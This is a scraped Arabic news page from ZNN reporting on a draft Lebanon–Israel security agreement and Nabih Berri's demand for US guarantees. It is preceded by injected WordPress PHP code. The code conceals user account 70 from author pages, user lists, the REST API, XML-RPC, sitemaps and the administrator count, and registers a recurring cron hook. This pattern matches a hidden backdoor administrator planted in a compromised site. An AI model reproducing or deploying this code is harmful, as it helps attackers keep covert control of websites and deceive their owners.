add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 70;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 70 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 70 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 70;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 70;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 70;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/70(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 70;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
مسودة اتفاق على الطاولة.. وبري يطلب ضمانات! - znn
كاتب في ZNN znn شـبـڪـة الـزهـرانـي الإخـبـاريـة
2026-06-20 31٬112 مقالات
مسودة اتفاق على الطاولة.. وبري يطلب ضمانات!
أفادت معلومات الصحيفة بأن التحضيرات تتقدّم لمفاوضات مباشرة ولمسودة اتفاق أمني يجري إعدادها بعيداً من الأضواء بين لبنان وإسرائيل بوساطة أميركية.
وبحسب المعطيات، تتناول المسودة المناطق التي يُفترض أن تنسحب منها إسرائيل، وآلية انتشار الجيش اللبناني بعد الانسحاب، ودور قوات المراقبة، سواء عبر قوات “اليونيفيل” أو من خلال آلية “الميكانيزم” المعتمدة حالياً. كما تتضمن نقاشاً حول فكرة سبق أن طرحها رئيس مجلس النواب نبيه بري، تقضي بأن يشمل الانسحاب الإسرائيلي قضاءً كاملاً، لا مجرد نقاط محددة ومعزولة.
وفي قلب هذا المشهد، يقف الرئيس نبيه بري في موقع المترقب الحذر. ويفضّل بري عدم إعلان موقف نهائي من الاتفاق أو من المسار التفاوضي قبل الحصول على ضمانات أميركية واضحة تؤكد التزام إسرا2يل الفعلي بأي تفاهم قد يتم التوصل إليه.
تابع ZNN على تيليغرام احصل على آخر الأخبار فور حدوثها.
انضم الآن
“المدن”
znn
شـبـڪـة الـزهـرانـي الإخـبـاريـة